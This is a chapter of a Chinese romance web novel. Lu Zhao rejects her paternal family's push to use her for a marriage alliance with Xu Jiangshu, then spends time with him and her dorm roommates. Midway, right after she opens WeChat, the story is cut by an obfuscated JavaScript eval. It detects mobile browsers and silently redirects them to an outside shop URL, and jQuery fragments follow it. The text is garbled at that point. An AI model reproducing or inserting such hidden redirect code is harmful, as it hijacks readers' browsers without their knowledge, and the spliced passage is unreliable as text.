9. 第 9 章

作品:《只有你

    又不是没经历过这样的事。


    再者,比起那些难堪的事,路昭提着果篮不值一提,她示意了佣人去拿。


    路昭没摆表情,可她那张脸有没有都给人没危险性,只不过一张口,有些不好听:“多久没回来了,好不容易上门拜访,我得亲自给爷爷送去,不然他又该说我没教养了。”


    闻言,路叔母嘴角微抽一瞬。


    路昭没想过路家叔母会出来接人,在她印象中,路叔母出身好,骨子里的傲气是少不了的,出来接她还真稀奇。


    “是有些日子不见了,你爷爷刚念叨你呢,这不正好到了。”路叔母像是没听见最后那句话,只顺着前面说,“我们进去说,你爷爷还等着呢。”


    路昭轻车熟路地拎着果篮进门。


    还真是热闹,除了路家叔叔和大儿子,一大家子都在,连她那“潇洒”到处跑的亲爹都难得回来。


    不过呢,那一群人静了一瞬。


    尤其是路父,他只觉得丢脸,眉头紧紧皱着,像是忍无可忍,他指着路昭鼻子怒吼:“路昭,是缺你钱吗?你妈就是这样教你来见长辈的?三番四次才请得来。”


    “哦,我空手来吗?”路昭颔首笑笑,和路父亲的态度形成反差,她不紧不慢道,“那我记得了。”


    “你…”


    “好了。”主座上的路老爷子打断父女对话,“多大个人了,跟自己女儿计较什么?”


    路昭好笑,这事得多大啊?连自己最疼爱的孩子都当众驳面。


    路昭懒得看他们红脸白脸的,只说了句:“不是吃饭吗,都坐这儿干嘛?”


    这话一出,路家叔母看了路老爷子,等他点了头,才换到餐厅里去。


    看着大圆桌,路昭走到客位坐下。


    路老爷子看了看另外两位安静的女孩,抬了下头,示意她俩坐到路昭身边。


    路昭靠在红木椅上,悠悠道:“可以吃了吗?”


    饭菜摆桌,路昭拿起筷子夹了一块桂花红烧肉放在碗里,没动。


    路老爷子坐得沉稳,语速平缓:“这些都是你姐姐,都是路家的孩子,认认脸,平日里多走动走动。”


    路昭瞬间明白这次目的了,她头不带抬地轻蔑笑了声,好似闲聊般的语气:“找我做什么?去找许江树啊!”


    联姻是再正常不过的事了,许江树的确是个非常好的联姻对象。


    年少有为、身世又好,主要是洁身自好,别人或多或少有几个情人,但许江树没有。


    作为书香世家出来的路家有它的傲骨、清高,所以许江树自是最优秀的选择。


    被小一辈当众指破的长辈脸险些挂不住。


    气氛霎时僵持住。


    没多久,路父梗着脖子怒目而视:“路昭,你姓路。”


    路昭缓缓掀起眼帘:“天底下姓路的多了去,难不成姓路的都得听从吗?况且,我记得我户口不在您名下吧。”


    当初卫澜和路父离婚很果断,没有上演一场争夺抚养权的戏码。


    路家不要抚养权,因为她是女孩。


    卫澜要抚养权,因为她是女孩。


    路父:“所以你妈就是这样教你的?”


    “你有什么资格提我妈?”路昭讥笑,“想要联姻自个儿去上门啊。怎么,想联姻又不想低头?哪有这么好的事送上门来啊?”


    路老爷子身居高位多年,自然不会因此波动,他倒是沉稳,语重心长:“路家和许家结合,对你身价来说也有利,你母亲把你安排在许家不就图这个?”


    路昭扫视一圈,那些人都在逼她点头答应做中间人,仿佛只要她不听从,立马被批判为敌人。


    “老爷子都说了,那是我母亲的安排。”路昭自嘲地勾唇,“与路家有什么关系呢?”


    这话引来路父又一次动怒,被挑战权威的他一掌拍在桌面:“你怎么跟你爷爷说话,眼里还有没有长辈?”


    路昭压根就不想搭理路父,她余光瞥了碗里还是没动的红烧肉,便站起身来,神色淡淡道:“我饱了,你们随意。”


    说完,路昭不顾路家的眼神走出了屋子。


    “站住,路昭。”


    身后气急败坏的声音响起,路昭没理会警告继续向前迈步。


    没人会拦着她,卫澜和许江树会直接上门要人。


    路家要脸,承受不住卫澜的闹腾,到时候传出去,影响的却是路家。另外也不想与许江树有矛盾。


    但也有脑子一根筋的出场。


    那路父见不听话的路昭,想要撒泼节奏。


    然而路老爷子沉声阻止,还提起卫澜,路父才肯罢休。


    同样还有路家叔母,她细长的眉毛紧蹙着,平日里的端庄优雅抛之脑后,脸上挂满怨言,恨不得上前两步将人扯回来,可又不敢多此一举,怕坏了事。


    联姻她是阻止不了,她本就按照这路一步一个脚印走过来,所以就想图个品性好的来作为自己女儿联姻对象。


    路家人不帮路家,这叫什么话?


    路昭没有上车,司机在她身后跟着,宽松的衣服、头发都被风刮起来。


    她说不上难受,只是有点疲惫,甚至还想笑。


    不过片刻,手机铃声响起,还是熟悉的陌生号码,路昭盯了好久,没有接,选择把手机给关机了。


    路昭沿着马路走动,不知道走了多久,有个便利店出现眼前。


    早餐都没吃得她肚子还挺饿。她踏进门,立即响起“欢迎光临”。


    路昭莫名笑了笑。


    她逛了一圈,在放有巧克力的柜子前停下脚步,伸手拿了一包。


    想去收银台结账时,她眼睫下垂,转而去拿了一瓶矿泉水。


    窗前放有长排的座椅,路昭坐到最里面。


    便利店安安静静的,偶尔响着店员敲打屏幕的动静。


    路昭撕开巧克力包装咬了一小口,味道让她皱眉。


    很甜,甜到能让人脑子疼。


    廉价的糖味。


    她应该丢掉的,可是……还是继续吃着。


    当巧克力剩下一半时,路昭吃不下了,牙齿隐隐作痛,她握起瓶身想用水来压压。


    忽然,手中的矿泉水被抽走。


    路昭下意识扭头。


    映入眼帘的是黑色西装。


    她视线慢慢往上挪,划过喉结、下颚,直到与锐利的眼眸对上。


    许江树边扭开瓶盖边带着几分哄意的语气说:“别吃这个了,哥哥带你去吃好吃的。”


    光线透过玻璃打在许江树身上,原本别样野性的帅,平白添了些许柔和。


    路昭心重重一提。


    好像每一次玩捉迷藏时,只有他来找她。


    阴沉沉的天气像是有无形的手赶走了,路昭眼睛亮晶晶地说:“我想吃小馄饨。”


    许江树拖着腔说:“好。”


    许江树开车来的,他给路昭开副驾门。


    系好安全带的路昭终于把手机给开机了,无数个未接电话和几条微信消息。


    她点进微信,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486391|202031||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卫澜发来的最后一条信息是:【小昭,你怎么能不接妈妈电话?】


    路昭指腹向左滑动,点击红色的删除。


    也不知道怎么回事,卫澜变得很忙起来,没空找她。


    后来卫澜从路父嘴里知道那天的情况。


    因为路昭甩脸子,路父的气撒不出,于是不管不顾地打电话去指责卫澜——看看你教出什么没有教养的女儿来。


    卫澜一听,不仅不恼,反而兴奋得不得了。


    她让人送来了一串珍珠项链,颗颗无瑕饱满,银白冷光。


    什么意思?


    给她的奖励吗?奖励她让路家不高兴了?


    路昭一言不发地盯着。


    而后,她伸手将首饰盒压下去,朝吴婶说:“放柜子里吧,别摆出来。”


    她不需要这样的战利品。


    -


    新的一周因为拍摄,路昭有几天都不回君悦府,她对自己要求高,也对别人要求高。


    小组成员没什么怨言,路昭的指导能力很强,大家配合很好,都不会占用过多时间。


    一群朝气蓬勃的面孔围绕着摄像机,指导的指导,打光的打光……每个人都负责自己部分,做得快的也会去看看其她人是怎么做的。


    闻轻第一次做主演,尽管是小片段,她也非常珍惜这次机会。


    开机前,闻轻稳了稳心神。


    说实话,她虽然面对镜头多次了,眼下还有点紧张。


    路昭:“可以了吗?”


    闻轻深深舒了口气:“可以了。”


    第一次拍摄,闻轻情绪没处理好,尤其是发誓那一幕。


    来回几遍,终于拍摄过关。


    下午四点十多分,路昭和闻轻回寝室。


    推开门,就见芭比放下手机,她双手抱胸,语气说不清是什么感觉,也不是阴阳怪气,大概来说是属于芭比放下脸的别扭:“你们一块呢?”


    两人也听得出。


    闻轻点头:“嗯,我们在拍摄。”


    听了这理由,崔瑾没追着问,她从桌上拎起盒子:“突然想吃鲜花饼了,让人空运过来的,还新鲜着。”


    说完,芭比将盒子递给路昭:“尝尝味道怎么样,听说祖上只给贵人做点心呢。”


    路昭拿起一块咬一小口,她只“嗯”了声。


    尝了味道的闻轻眼皮动了动。


    原来鲜花饼和鲜花饼是有不同的,她没有作评价,因为她不知道该如何去说,有时候多说多错,索性不发言好了。


    崔瑾:“那么久了,我们宿舍都还没聚过呢,不然今晚去?”


    路昭和闻轻应下来。


    许江树那边恰好发来消息:【路导,有几天不见了。】


    路昭:【好像是的,今天回家。】


    许江树:【寝室楼下?】


    路昭:【不用来学校,我和室友约好啦。】


    许江树:【结束了来接你。】


    启川十一月的温度如同乘坐火箭,把夏天的高温甩开十万八千里。


    那天她们吃完饭,见时间还早,崔瑾压根就不想回去,她想换个地儿寻开心。


    古街,那一排全是酒吧、KTV。


    最有名的一家叫顶云,这里没有最低消费,可消费却不低。


    她们也不是第一次来。


    三人走进去,前台的服务生认得人,便直接将她们领去包厢。


    大包厢里只有她仨,芭比觉得清冷,她问:“介意我叫几个朋友过来不?”